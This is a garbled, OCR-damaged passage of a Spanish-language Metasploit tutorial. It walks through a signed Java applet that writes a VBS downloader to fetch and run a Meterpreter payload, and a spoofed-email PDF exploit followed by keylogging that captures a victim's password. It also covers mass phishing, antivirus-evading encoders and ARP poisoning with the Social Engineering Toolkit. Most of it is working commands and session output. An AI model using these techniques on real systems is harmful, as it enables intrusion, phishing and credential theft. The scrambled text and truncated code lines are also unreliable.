Mientras la victima instala y juega nuestro juagusotros recibiremos una shell!

[*] Sending stage (36 bytes)

[*] Command shell session 1 opened (192.168.1.101:4 43 ->192.168.1.175:1129)
ifconfig

ethl Link encap:Ethernet HWaddr 00:0C:29:C2:E7:E6

inet addr:192.168.1.175 Bcast:192.168.1.255 Mask:25 5.255.255.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:49 errors:0 dropped:0 overruns:0 frame:0

TX packets:51 errors:0 dropped:0 overruns:0 carrier :0
collisions:0 txqueuelen:1000

RX bytes:43230 (42.2 KiB) TX bytes:4603 (4.4 KiB)

Interrupt:17 Base address:0x1400

...Snip...

hostname

ubuntu

id

uid=0(root) gid=0(root) groups=0(root)

8.4 Infeccion de aplicacion Java

Infeccion de aplicacion Java

Joshua Abraham (jabra) publico un gran articulogpibasa en una charla que se dio en el Infoseld\Wonference con Rafal
Los y se puede encontrar lettp://blog.splOit.orgEsencialmente, los dos fueron capaces de cansir@pplet de java que una
vez ejecutado en un navegador nos permitira ejeaatpayload con Meterpreter si el objetivo acéptadvertencia de seguridad.

Antes de sumergirnos en esto, tenemos que cungplialgunos requisitos en nuestras maquinas atacantes de empezar.

root@bt4:/# apt-get install sun-java6-jdk

Jabra ha simplificado la mayor parte del procesoat@cript en bash para reducir errores de entRuledes descargar este script
desdehttp://splOit.org/files/makeapplet.sh




#l/bin/bash
#

# Shell script to sign a Java Applet

# Joshua "Jabra" Abraham <jabra@splOit.org>
# Tue Jun 30 02:26:36 EDT 2009

#

# 1. Compile the Applet source code to an executabl

#

# javac Helloworld.java

#

# 2. Package the compiled class into a JAR file.

#

# jar cvf Helloworld.jar HelloWorld.class

#

# 3. Generate key pairs.

#

# keytool genkey -alias signapplet -keystore mykeys
#

# 4. Sign the JAR file.
#

# jarsigner -keystore mykeystore -storepass mystore
# HelloWorld.jar signapplet

#

# 5. Export the public key certificate.

#

# keytool -export -keystore mykeystore -storepass m
#

# 6. Deploy the JAR and the class file.

#

# <applet code="Helloworld.class" archive="SignedHe
#

echo "Enter the name of the applet without the exte
read NAMEjavac $NAME javaif [ $? -eq 1] ; then
echo "Error with javac"

exit

fi

echo "[+] Packaging the compiled class into a JAR f
jar cf SNAME jar $SNAME .class

if[$?-eq1]; then

echo "Error with jar"

exit

fi

echo "[+] Generating key pairs"

keytool -genkey -alias signapplet -keystore mykeyst
if[$?7 -eq 1] ; then

echo "Error with generating the key pair"

exit

fi

echo "[+] Signing the JAR file"

jarsigner -keystore mykeystore -storepass mystorepa
if[$?7 -eq 1] ; then

echo "Error with signing the jar"

exit

fi

echo "[+] Exporting the public key certificate”

keytool -export -keystore mykeystore -storepass mys
if[$?-eq1]; then

echo "Error with exporting the public key"

exit

fi

echo "[+] Done"

sleep 1

echo ™

echo
echo "Deploy the JAR and certificate files. They sh
echo ™

echo "<applet width="1" height="1' code='$NAME.clas
echo ™

e class.

tore -keypass mykeypass -storepass mystorepass

pass -keypass mykeypass - signedjar SignedHelloWorl

ystorepass -alias signapplet -file mycertificate.ce

lloWorld.jar" width=1 height=1> </applet>

nsion:"

ile"

ore -keypass mykeypass -storepass mystorepass

ss -keypass mykeypass -signedjar "Signed$NAME jar"

torepass -alias signapplet -file mycertificate.cer

ould be deployed to a directory on a Web server."

s' archive="Signed$NAME jar'> "

d.jar

$NAME jar signapplet

Ahora vamos hacer un directorio de trabajo para almacenar este archivo y luego agarrar desde su sitio o copiar y pegar en tu

editor de texto favorito.

root@bt4:/# mkdir ./java-applet

root@bt4:/# cd ./java-applet

Tenemos que hacer un applet de Java que luegadinnos. Para esto, copiamos y pegamos el textoaje ab tu editor de texto
favorito y lo salvamos como: "MSFcmd.java". Pargle queda de este modulo, deja el editor abigatque tendras que

modificar algunos parametros a medida que avancenrosl modulo.

import java.applet.*;

import java.awt.*;

import java.io.*;

public class MSFcmd extends Applet {
public void init() {

Process f;

String first = getParameter("first");




try {
f = Runtime.getRuntime().exec("first");

catch(lIOException e) {
e.printStackTrace();

}
Process s;
}
}

A continuacion, usaremos el shell script de Jabras para ayudarnos en hacer nuestro certificado. EL siguiente comando descargara

el script, hazlo ejecutable, y luego ejecuta el script para producir el certificado.

root@bt4:/java-applet/# wget

http://splOit.org/files/makeapplet.sh

&& chmod a+x ./makeapplet.sh

root@bt4:/java-applet/# ./makeapplet.sh

Enter the name of the applet without the extension:

[+] Packaging the compiled class into a JAR file

[+] Generating key pairs

What is your first and last name? [Unknown]: MSFcmd
What is the name of your organizational unit? [Unkn
What is the name of your organization? [Unknown]: M
What is the name of your City or Locality? [Unknown
What is the name of your State or Province? [Unknow
What is the two-letter country code for this unit?

Is CN=MSFcmd, OU=Microsoft, O=Microsoft Organizatio

MSFcmd

own]: Microsoft

icrosoft Organization

]: Redmond

n]: Washington

[Unknown]: US

n, L=Redmond, ST=Washington, C=US correct? [no]: ye

[+] Signing the JAR file

Warning:

The signer certificate will expire within six month S.
[+] Exporting the public key certificate

Certificate stored in file

[+] Done

Ahora que ya todo esta preparado, desplegamos el archivo JAR y class.

root@bt4:/java-applet/# cp SignedMSFcmd.jar /var/ww w/

root@bt4:/java-applet/# cp MSFcmd.class /var/www/

root@bt4:/java-applet/# apache2ctl start

Ahora que el applet se ha desplegado, tendremos que crear un payload con Meterpreter. Cambia "X.X.X.X" en el ejemplo
siguiente para que coincida con la direccion IP del atacante. Este comando utiliza msfpayload para crear un Reverse TCP
Meterpreter Shell con nuestra victima. Generamos este payload en formato Raw y lo pasamos a traves de msfencode, salvamos
el payload como ejecutable. El ejecutable lo copiamos a la raiz del directorio web y le damos permisos de ejecucion.

root@bt4:/pentest/exploits/framework3/# ./msfpayloa d windows/meterpreter/reverse_tcp
LHOST=X.X.X.X LPORT=443 R | ./msfencode -t exe -o m y.exe

root@bt4:/pentest/exploits/framework3/# cp ./my.exe Ivariwww/

root@bt4:/pentest/exploits/framework3/# chmod a+x / var/www/my.exe




Ahora tenemos que afiadir un comando en el indekduenle permita al cliente descargar y ejecutastro payload.
Basicamente, esta pagina lanzara un applet ddijenado por nosotros mismos, que, cuando el clidetpermiso, este llamara
al cmd.exe desde ese sistema, introduciendo lereas script vbs llamado "apsou.vbs". Este preweqite este archivo puede
ser encontrado en el sistema despues de tenelyaditdalgunos” intentos fallidos. Despues que asthivo es creado, la misma
cadena de comandos lanza el script vbs y pasa aaitas variable, el link atacante esta enlazadetpayload "my.exe". Una
vez que el payload ha sido descargado, ejecutaexegon los permisos de usuarios.

Tenemos que modificar el index.html que nuestrightes van ver. En un escenario de la vida regbemester podria agregar
algun video, juegos de navegador, y otras actiedqara distraer o entreter a la victima. TructEigentes como Ingenieria
Social pueden ser de gran ayuda, dirigiendo tustiplojs a una URL especifica y diciendole que ackepaéelvertencia de
seguridad para continuar viendo la pagina o usé8esture applet IM Personalizado". Ademas tambierdps tener payloads en
diferentes carpetas esperando a clientes diferentes

Escriba el comando de abajo como una sola linesgguaese de cambiar el "X.X.X.X" por la IP atacante

root@bt4:/pentest/exploits/framework3/# echo "<appl et width="1" height="1"
code='MSFcmd.class' archive='SignedMSFcmd.jar'>" > Ivariwww/index.html
root@bt4:/pentest/exploits/framework3/# echo "<para m name='first' value="cmd.exe /c
echo Const adTypeBinary = 1 > C:\windows\apsou.vbs & echo ConstadSaveCreateOverWrite =
2 >> C:\windows\apsou.vbs & echo Dim BinaryStream > > C:\windows\apsou.vbs & echo Set
BinaryStream = CreateObject("ADODB.Stream") >> C:\w indows\apsou.vbs & echo
BinaryStream.Type = adTypeBinary >> C:\windows\apso u.vbs & echo BinaryStream.Open >>
C:\windows\apsou.vbs & echo BinaryStream.Write Bina ryGetURL (Wscript.Arguments(0)) >>
C:\windows\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1),
adSaveCreateOverWrite >> C:\windows\apsou.vbs & ech o Function BinaryGetURL(URL) >>
C:\windows\apsou.vbs & echo Dim Http >> C:\windows\ apsou.vbs & echo Set Http =
CreateObject("WinHttp.WinHttpRequest.5.1") >> C:\wi ndows\apsou.vbs & echo Http.Open
"GET", URL, False >> C:\windows\apsou.vbs & echo Ht tp.Send >> C: windows\apsou.vbs &
echo BinaryGetURL = Http.ResponseBody >> C:\windows \apsou.vbs & echo End Function >>
C:\windows\apsou.vbs & echo Set shell = CreateObjec t("WScript.Shell") >>
C:\windows\apsou.vbs & echo shell.Run "C:\windows\m y.exe" >> C:\windows\apsou.vbs &
start C:\windows\apsou.vbs http://X.X.X.X/my.exe C:\windows\my.exe'> </applet>" >>
Ivariwww/index.html

Tambien agregaremos un mensaje que le indique al usuario que acepte nuestro applet malicioso.

root@bt4:/pentest/exploits/framework3/# echo "' >> Ivarlwww/index.html

root@bt4:/pentest/exploits/framework3/# echo "Pleas e wait. We appreciate your business. This process m ay
take a while." >> /var/www/index.html

root@bt4:/pentest/exploits/framework3/# echo "To vi ew this page properly you must accept and run the a pplet.
We are sorry for any inconvenience. " >> /var/www/i ndex.html

Ahora tenemos que configurar el Metasploit multi/handler para escuchar los intentos de conexiones de los clientes. Vamos estar
escuchando por un reverse shell desde el objetivo en el puerto 443. Este puerto esta asociado con el trafico HTTPS y la mayoria
de los firewalls de las organizaciones permiten que este trafico salga de su red. Como antes, cambia el "X.X.X.X" por tu IP.

msf > use exploit/multi/handler

msf exploit(handler) > set ExitOnSession false
ExitOnSession => false

msf exploit(handler) > set PAYLOAD windows/meterpre ter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST X.X.X.X
LHOST => X.X.X.X

msf exploit(handler) > set LPORT 443

LPORT +> 443

msf exploit(handler) > save

Saved configuration to: /root/.msf3/config

msf exploit(handler) >exploit -j

[*] Exploit running as background job.

[*] Started reverse handler

[*] Starting the payload handler...




Cuando una victima navegue a nuestro sitio web y acepte la advertencia de seguridad, el payload de Meterpreter se
ejecutara y se conectara de regreso al handler, a nosotros.

msf exploit(handler) >

[*] Sending stage (718336 bytes)

[*] Meterpreter session 1 opened (A.A.A.A:443 -> T. T.T.T:44477)
msf exploit(handler) > sessions -i 1

[*¥] Starting interaction with 1...

meterpreter > ps

Process list
PID Name Path
204 jusched.exe C:\ProgramFiles\Java\jre6 \bin\jusched.exe
288 ctfmon.exe C:\WINDOWS\system32\ctfmo n.exe
744 smss.exe \SystemRoot\System32\smss .exe
912 winlogon.exe C:\WINDOWS\system32\win logon.exe
972 services.exe C:\WINDOWS\system32\servi ces.exe
984 Isass.exe  C:\WINDOWS\system32\lsass .exe
1176 svchost.exe C:AWINDOWS\system32\svcho st.exe
1256 java.exe C:\Program Files\Java\jre 6\bin\java.exe
1360 svchost.exe C:\WINDOWS\System32\svc host.exe
1640 spoolsv.exe C:AWINDOWS\system32\spool sv.exe
1712 Explorer.EXE C:\WINDOWS\Explorer.EXE
1872 jgs.exe C:\Program Files\Javal\jre 6\bin\jgs.exe
2412 my.exe C:\windows\my.exe
3052 iexplore.exe  C:\Program Files\Intern et Exploreniexplore.exe

meterpreter >

Como nota final, si tienes problemas obteniedo acceso, asegurate que los archivos

'C:\windows\apsou.vbs'
and
'C:\windows\my.exe'

NO exista en tu objetivo.
Si intentas volver a usar el exploit en este aienb podras iniciar correctamente el script vbs.

Si sigues experimentado problemas y te has asegqgradlios archivos de arriba no estan en el sistpardavor revisa la
siguiente localizacion en el registro y haz los ls@m$ necesarios.

Start > run : regedit

navigate to:

HKLM\Software\Policies\Microsoft\Windows\CurrentVer sion\Internet Settings\Security_ HKLM_only
change value to: 0

navigate to:
HKLM\Software\Microsoft\Windows\CurrentVersion\inte rnet Settings\Zones\3\Flags

click Decimal
change value to 3

navigate to:




HKLM\Software\Microsoft\Windows\CurrentVersion\inte rnet Settings\Zones\3\

make new dword with the name 1C00
value in hex 10000

navigate to:
HKCU\Software\Microsoft\Windows\CurrentVersion\inte rnet Settings\Zones\3\Flags

click Decimal
change value to 3

Ahora cerramos regedit e iniciamos o reiniciamos el IE y la nueva configuracion se deberia aplicar.

8.5 El atague del lado del cliente

El atague del lado del cliente

Como ya se ha discutido, Metasploit tiene mucheos ysahora vamos a duscutir otro aqui, es atadiees side. Para mostrar el
poder de como puede ser usado MSF en ataquessiientsaremos una historia.

En el mundo de la seguridad, la ingenieria so&dlasconvertido en un ataque cada vez mas usgaesak de que la tecnologias
estan cambiando, una cosa que se mantiene iglzafadta de seguridad con las personas. Debidtoalasngenieria social se ha
convertido en un tema muy "caliente" en el mundtadsguridad hoy en dia.

En nuestro primer escenario nuestro atacante hdcestcolectando mucha informacion usando unamernga como Metasploit
Framework, Maltego y otras herramientas para canisdgecciones de correos electronicos e inforoagiara poder lanzar un
ataque de client side con ingenieria social endgma.

Despues de la inmersion con exito por internetuse® de correos electronicos, ha ganado dos pitmasde informacion.
1) Utilizan "Best Computers" para servicio tecnico.
2) El departamento IT tiene una direccion de coeleotronico itdept@victim.com

Queremos ganar acceso shell del computador delrfaepento IT y ejecutar un keylogger para capturgpassword, o cualquier
otra informacion de importante.

Comenzamos por cargar el msfconsole.

Luego de cargar, creamos un PDF malicioso querkealéa victima una cierta confianza al abrirloraPeacer esto, debe parecer
legitimo, tener un titulo que sea realista, y qoesea marcado por los anti-virus o alguna otraaatly seguridad.

Vamos a usar el Adobe Reader "util.printf()" Javg&d-unction Stack Buffer Overflow Vulnerability.

Adobe Reader es propenso a una vulnerabilidad steodedmiento de buffer basado en la pila debiddajaglicacion no realiza
una revision de los limites adecuados de los datmsorcionados por el usuario.

Un atacante puede explotar este problema ejecutattigo arbitrario con los privilegios del usuagjecutando la aplicacion o
cerrar la aplicacion, denegando el servicio a kgtios legitimos.

Asi que empezamos por crear nuestro archivo PDIEimsd para usar en este ataque de client side.

msf > use exploit/windows/fileformat/adobe_utilprin tf

msf exploit(adobe_utilprintf) > set FILENAME BestCo mputers-Upgradelnstructions.pdf
FILENAME => BestComputers-Upgradelnstructions.pdf

msf exploit(adobe_utilprintf) > set PAYLOAD windows /meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(adobe_utilprintf) > set LHOST 192.168.8 .128

LHOST =>192.168.8.128




msf exploit(adobe_utilprintf) > set LPORT 4455
LPORT => 4455
msf exploit(adobe_utilprintf) > show options

Module options:

Name Current Setting Required Description

FILENAME BestComputers-Upgradelnstructions.pdf yes The file name.
OUTPUTPATH /pentest/exploits/framework3/data/exploi ts yes The location of the file.

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
EXITFUNC process yes Exit technique: seh, thread, p rocess
LHOST 192.168.8.128 yes The local address

LPORT 4455 yes The local port

Exploit target:

Id Name

0 Adobe Reader v8.1.2 (Windows XP SP3 English)

Una vez que tengamos todas las opciones definidakreodo que queramos, ejecutamos "exploit" para
crear el archivo.

msf exploit(adobe_utilprintf) > exploit

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*¥] Creating 'BestComputers-Upgradelnstructions.pdf 'file...

[*] Generated output file /pentest/exploits/framewo rk3/data/exploits/BestComputers-Upgradelnstructions .pdf
[*] Exploit completed, but no session was created.

msf exploit(adobe_utilprintf) >

Asi podemos ver que el archivo PDF fue creado esubrdirectorio en donde estamos. Vamos a copéarlel directorio /tmp
para que sea facil de localizar mas tarde.

Antes de enviar el archivo malicioso a nuestramiat necesitamos configurar algo que escuche patamr la conexion
inversa. Vamos a usar msfconsole para configunanuéti handler.

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpre ter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LPORT 4455

LPORT => 4455

msf exploit(handler) > set LHOST 192.168.8.128

LHOST =>192.168.8.128

msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*¥] Starting the payload handler...




Ahora que estamos a la escucha esperando en recibir el payload malicioso, tenemos que entregar este payload a la victima y
como en la recopilacion de informacion obtuvimos la direccion de correo electronico del departamento IT, usaremos un
pequeiio y util script Ilamado sendEmail para enviar el payload a la victima. Con el kung-fu de una-linea, podemos adjuntar el
archivo pdf, usamos cualquier servidor smtp que queramos y escribimos un email convincente desde cualquier direccion...

root@bt4:~# sendEmail -t itdept@victim.com -f techs upport@bestcomputers.com -s 192.168.8.131 -u Import ant Upgrade Instructions -a /tmp/BestComputers Upgr adelnstructions.pdf
Reading message body from STDIN because the -m' op tion was not used.

If you are manually typing in @ message:

- First line must be received within 60 seconds.

- End manual input with a CTRL-D on its own line.

IT Dept,

We are sending this important file to all our custo mers. It contains very important instructions for u pgrading and securing your software. Please read an d let us know if you
have any problems.

Sincerely,
Best Computers Tech Support

Aug 24 17:32:51 bt4 sendEmail[13144]: Message input complete.
Aug 24 17:32:51 bt4 sendEmail[13144]: Email was sen t successfully!

Como podemos ver aqui, el script nos permite ponaiguier direccion FROM (-f) , cualquier direccio® (-t), cualquier
servidor SMTP (-s) como tambien un Titulo (-u) yaethivo adjunto (-a). Una vez que hacemos todmyeptecionamos enter
podemos escribir cualquier mensaje que queramege lprecionamos CTRL+D y esto enviara el correct®rico a la victima.

Ahora en la maquina de la victima, los empleadd®dpartamento IT lo conseguiran durante el diandodnicien seccion en el
computador para revisar sus correos.

El ve el muy importante documento y lo copia hatigscritorio como lo hace siempre, y lo escanasuagrograma anti-virus
favorito.

Archivo:CSA-001.jpg

Como podemos ver, paso sin ser detectado por lowgsgro administrador IT esta dispuesto en abté @chivo para
implementar rapidamente estas importantes acteaizes. Al hacer click el archivo abre Adobe pergesira una ventana gris
gue no revela nunca un PDF. En cambio, en el eqaiguante se revela...

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Starting the payload handler...

[*] Sending stage (718336 bytes)

session[*] Meterpreter session 1 opened (192.168.8. 128:4455 -> 192.168.8.130:49322)

meterpreter >

Ahora tenemos una shell de su computador a traves de un ataque de client side con un PDF malicioso. Por supuesto,
seria conveniente a este punto mover la shell a otro proceso diferente, porque cuando se finalize Adobe no
perdamos la shell. Luego obtenemos informacion del sistema, ejecutamos un keylogger y continuamos explotando la
red.

meterpreter > ps

Process list

852 taskeng.exe C:\Windows\system32\taskeng.exe

1308 Dwm.exe C:\Windows\system32\Dwm.exe

1520 explorer.exe C:\Windows\explorer.exe

2184 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
2196 VMwareUser.exe C:\Program FilesVMware\VMware T ools\VMwareUser.exe
3176 iexplore.exe C:\Program Files\Internet Explore niexplore.exe




3452 AcroRd32.exe C:\Program Files\AdobeReader 8.0\

meterpreter > migrate 1520
[*] Migrating to 1520...
[*] Migration completed successfully.

meterpreter > sysinfo
Computer: OFFSEC-PC
OS : Windows Vista (Build 6000, ).

meterpreter > use priv
Loading extension priv...success.

meterpreter > keyscan_start
Starting the keystroke sniffer...

meterpreter > keyscan_dump
Dumping captured keystrokes...

ReaderAcroRd32.exe

Support, | tried to open ti his file 2-3 times with

and CFO tru y it, but no one can get it to p open.
server so you can log in to fix our p this problem.
password for that session is 123456. Call or eme ai
meterpreter >

no success. | even had my admin

| turned on the remote access

Our user name is admin and

| when you are done. Thanks IT Dept

GAME OVER

8.6 Kit de herramientas de la ingenieria social

Kit de herramientas de la ingenieria social

El Kit de Herramientas de Ingenieria Social (Se&infjineering Toolkit, SET) fue disenado por Davignkedy (ReL1K) e
incorpora muchos ataques de Ingenieria-Social émdana simple interfaz. El proposito principal dSles automatizar y
mejorar muchos de los ataques de ingenieria spg@akxisten. Como pentesters, la ingenieria sesialmenudo una practica
gue no muchas personas realizan. Puedes deschikgiade Herramietas de Ingenieria Social a traslesubversion simplemente

escribiendo en Back|Track 4:

svn co http://svn.thepentest.com/social_engineering_toolki

t/ SET/

La belleza con la version actual de SET es quequiere ningun modulo extra de python, asi que todpe necesitas hacer es

ejecutarlo:

root@ssdavebt4:/home/relik/SET# ./set

[---] The Social Engineering Toolkit (SET) [---]
[---] Written by David Kennedy (ReL1K) [---]
[---] Version: 0.1 Alpha [---]

Welcome to the Social Engineering Toolkit, your one
for all of your social engineering needs.

Select from the menu on what you would like to do:

-stop shop




1. Automatic E-Mail Attacks

2. Website Attacks

3. Update the Metasploit Framework
4. Help

5. Exit the Toolkit

Enter your choice:

Tenga en cuenta que esta es una version alfa dg 8&a disenado para ser lanzado con el lanzaoniehtramework de
Ingenieria Sociallttp://www.social-engineer.oygSi notas, el formato general de SET es muy aimall menu interactivo de
Fast-Track. Esto fue intencional ya que probableensa convertira eventualmente en un modulo deTrask.

Escenario 1

Tienes como objetivo una organizacion y haz utlzherramientas de codigo abierto, Google, y oyrd&mos sido capaces de
extraer 30 direccion de e-mail. Quieres enviar rosaorreos a estos individuos con la esperanzaluaa el archivo adjunto y
finalmente te den acceso al sistema.

Lo primero que necesitas es crear una lista codilasciones de correo electronico con el formaallajo:

bob@example.com
joe@example.com

jane@example.com
josh@example.com

Una vez que tenemos la lista generada, carga SEd ua payload para que se conecte de regresp préparate para conseguir
algunas shells.

root@bt4:/home/relik/SET# ./set

[---] The Social Engineering Toolkit (SET) [---]
[---] Written by David Kennedy (ReL1K) [---]
[---] Version: 0.1 Alpha [---]

Welcome to the Social Engineering Toolkit, your one -stop shop
for all of your social engineering needs.

Select from the menu on what you would like to do:

1. Automatic E-Mail Attacks

2. Website Attacks

3. Update the Metasploit Framework
4. Help

5. Exit the Toolkit

Enter your choice: 1

The Social Engineering Toolkit (SET) [---]
Written by David Kennedy (ReL1K) [---]
Version: 0.1 Alpha [--]

E-Mail Attacks Menu [---]

[__
[__
[__
[__

— e —

This menu will automate file-format email attacks f or you. You will
first have to create your own payload, you can easi ly do this by using
the "Create a FileFormat Payload", then from there launch the mass

e-mail attack.

1. Perform a Mass Email Attack
2. Create a Social-Engineering Payload
3. Return to Main Menu.




Enter your choice: 1
Do you want to create a social-engineering payload

Select the file format exploit you want.

The default is the PDF embedded EXE.

*33%x METASPLOIT PAYLOADS *****

1. Adobe Collab.collectEmailinfo Buffer Overflow
2. Adobe Collab.getlcon Buffer Overflow

3. Adobe JBIG2Decode Memory Corruption Exploit
4. Adobe PDF Embedded EXE Social Engineering
5. Adobe util.printf() Buffer Overflow

6. Custom EXE to VBA (sent via RAR)

Enter the number you want (press enter for default)
You have selected the default payload creation. SET
EXE.

1. Windows Reverse TCP Shell

2. Windows Meterpreter Reverse Shell
3. Windows Reverse VNC

4. Windows Reverse TCP Shell (x64)

Enter the payload you want: 1

Enter the IP address you want the payload to connec
Enter the port you want to connect back on: 4444
Generating fileformat exploit...

[*] Please wait while we load the module tree...

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Reading in 'src/msf_attacks/form.pdf'...

[*¥] Parseing 'src/msf_attacks/form.pdf'...

[*¥] Parseing Successfull.

[*] Using ‘'windows/shell_reverse_tcp' as payload...
[*] Creating 'template.pdf file...

[*] Generated output file /home/relik/SET/src/progr

Payload creation complete. All payloads get sent to

Press enter to return to the prior menu.

As an added bonus, use the file-format creator in S

[-] A previous created PDF attack by SET was detect
[-]

Enter your answer yes or no: yes

Social Engineering Toolkit Mass E-Mailer

There are two options on the mass e-mailer, the fir
be to send an email to one indivdual person. The se
will allow you to import a list and send it to as m
you want within that list.

What do you want to do:

1. E-Mail Attack Single Email Address

2. E-Mail Attack Mass Mailer

3. Return to main menu.

Enter your choice: 2

Which template do you want to use?

1. Strange and Suspicious Computer Behavior
2. Email to SysAdmins, can't open PDF

now yes or no: yes

14
will generate a normal PDF with embedded

t back to you on: 10.211.55.130

am_junk/template.pdf

the src/msf_attacks/template.pdf directory

ET to create your attachment.

ed..Do you want to use the PDF as a payload?

st would
cond option
any people as




3. Please Open up this Status Report
4. Enter your own message

Enter your choice: 3

The mass emailer will allow you to send emails to m ultiple
individuals in a list. The format is simple, it wil | email
based off of a line. So it should look like the fol lowing:

john.doe@ihazemail.com
jane.doe@ihazemail.com
wayne.doe@ihazemail.com

This will continue through until it reaches the end of the

file. You will need to specify where the file is, f or example

if its in the SET folder, just specify filename.txt (or whatever
it is). If its somewhere on the filesystem, enter t he full path,

for example /home/relik/ihazemails.txt

Enter the path to the file to import into SET: emai l.txt
Enter your GMAIL email address: relik@gmail.com
Enter your password for gmail (it will not be displ ayed back to you):

Sent e-mail number: 1
Sent e-mail number: 2
Sent e-mail number: 3
Sent e-mail number: 4

SET has finished deliverying the emails. Do you wan t to setup a listener yes or no: yes
[*] Please wait while we load the module tree...

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Starting the payload handler...

Ahora que los correos electronicos se han enviado y estamos a la escucha. Esperamos que del otro extremo se haga el trabajo y
hagan clic en nuestro PDF.

Lubject: Stalus Report

¥ attachments:

= rempiare.pdf k 25.45 KB |

Greetings,
Please view the [atest STaTus report.
Thanis,

Rich

Ahora el usuario abre el PDF, y se le presenta un PDF de forma correcta. Vease abajo:

B Bl e Gocsend (el e bk M

=S - o ime ==

This page is intentionally blank,

En el sistema que tenemos a la escucha en Back|Track 4 vemos esto:




[*] Please wait while we load the module tree...

[*] Handler binding to LHOST 0.0.0.0

[*¥] Started reverse handler

[*] Starting the payload handler...

[*] Command shell session 1 opened (10.211.55.130:4 444 -> 10.211.55.140:1079)
Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>

Otra opcion para explotacion otra que no sea poaites creando una pagina web falsa que tengaylodl de Metasploit y
una vez que se visita, mostramos un Applet de 'Jamsado" por Microsoft Corporation y si ellos a¢ap, nuestro payload se
cargara. Otro ejemplo que podemos usar, si estderdso de una red es con un envenenamiento autenui cache ARP
donde podemos tener SET para envenenar la subtadidtima y reemplazar todos los HREF's de laiwia con nuestras
paginas. Usaremos este ejemplo en el escenarioajie in embargo, envenenamiento del cache ARRaspcion, yo
recomendaria combinar cross-site scripting y umtatenail elaborado o una llamada telefonica cdmeale conseguir que vaya
a su sitio.

root@bt4:/home/relik/SET# ./set

[---] The Social Engineering Toolkit (SET) [---]
[---] Written by David Kennedy (ReL1K) [---]
[---] Version: 0.1 Alpha [---]

Welcome to the Social Engineering Toolkit, your one -stop shop
for all of your social engineering needs.

Select from the menu on what you would like to do:

1. Automatic E-Mail Attacks

2. Website Attacks

3. Update the Metasploit Framework
4. Help

5. Exit the Toolkit

Enter your choice: 2

The Social Engineering Toolkit "Web Attack" will cr eate a
fake "professional” looking website for you with ma licious
java applet code. When you entice a victim to the w ebsite
either through social-engineering, a XSS vulnerabil ity,
E-Mail, or other options, it will prompt the user t 0 say
"Yes" to run the applet signed by Microsoft. Once a ccepted
a payload will be run on the remote system and exec uted.
The payload itself will be generated dynamically th rough
Metasploit and the handler and everything be setup for you

automatically through the SEF Web Attack toolkit.

Do you wish to continue? y/n: y
What payload do you want to generate:

Name: Description:

on victim and send back to attacker.
ter shell on victim and send back to

1. Windows Shell Reverse_TCP Spawn a command shell

2. Windows Reverse_TCP Meterpreter Spawn a meterpre
attacker.

3. Windows Reverse_TCP VNC DLL Spawn a VNC server o
4. Windows Bind Shell Execute payload and create an

n victim and send back to attacker.
accepting port on remote system.

Enter choice (example 1-4): 2




Below is a list of encodings to try and bypass AV.
Select one of the below, Avoid_UTF8_tolower usually

. avoid_utf8_tolower
. shikata_ga_nai

. alpha_mixed

. alpha_upper

. call4_dword_xor
. countdown

. fnstenv_mov

. jmp_call_additive
. honalpha

10. nonupper

11. unicode_mixed
12. unicode_upper
13. alpha2

14. No Encoding

O©CO~NOUTAWNBE

Enter your choice : 2

Enter IP Address of the listener/attacker (reverse)
10.211.55.130
Enter the port of the Listener: 4444

Created by msfpayload ( http://www.metasploit.com
Payload: windows/meterpreter/reverse_tcp
Length: 274

Options: LHOST=10.211.55.130,LPORT=4444,ENCODING=sh
Do you want to start a listener to receive the payl

Launching Listener...
kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkhhhhhhhhhhkkhkkkx

K*kkkkkkk

Launching MSFCONSOLE on 'exploit/multi’/handler’ wit
PAYLOAD='windows/meterpreter/reverse_tcp'

Listening on IP: 10.211.55.130 on Local Port: 4444
ENCODING=shikata_ga_nai

kkkkkkkkkhkkkhkkkkkkkhkkkkkkkhkkhkkkkhhkkkkkkkkkkhkkkkhkk
Kkkkkkkk

Would you like to use ettercap to ARP poison a host

Ettercap allows you to ARP poison a specific host a

gets past them.

or host/victim (bind shell):

ikata_ga_nai
oad yes or no: yes

kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk

Using encoding:

kkkkkkkkkhkkkkkkkkkkkkkkkkkkkkkkkkkkk

yes or no: yes

nd when they browse

a site, force them to use oursite and launch a slew of
exploits from the Metasploit repository. ETTERCAP R EQUIRED.
What IP Address do you want to poison: 10.211.55.14 0

Setting up the ettercap filters....

Filter created...

Compiling Ettercap filter...

etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaG A




12 protocol tables loaded:
DECODED DATA udp tcp gre icmp ip arp wifi fddi tr e th

11 constants loaded:
VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP

Parsing source file 'src/program_junk/ettercap.filt er' done.
Unfolding the meta-tree done.

Converting labels to real offsets done.

Writing output to 'src/program_junk/ettercap.ef' do ne.

-> Script encoded into 16 instructions.

Filter compiled...Running Ettercap and poisoning ta rget...

*kkkkkkkkkhhhhhhhhhhrrkkkkkkkx * * *kkkkkkkk

Web Server Launched. Welcome to the SEF Web Attack.

kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkhhkkkkkkkkkkhkkkkhkk

[--] Tested on IE6, IE7, IE8 and FireFox [--]

Type -c to exit..

Echemos una ojeada al navegador de la victima:

£ aagie - Windews Inisrmet Explarer sl =
i L [=—r—— - _Eljseinifie a
O DN Bes Spaie Tok e

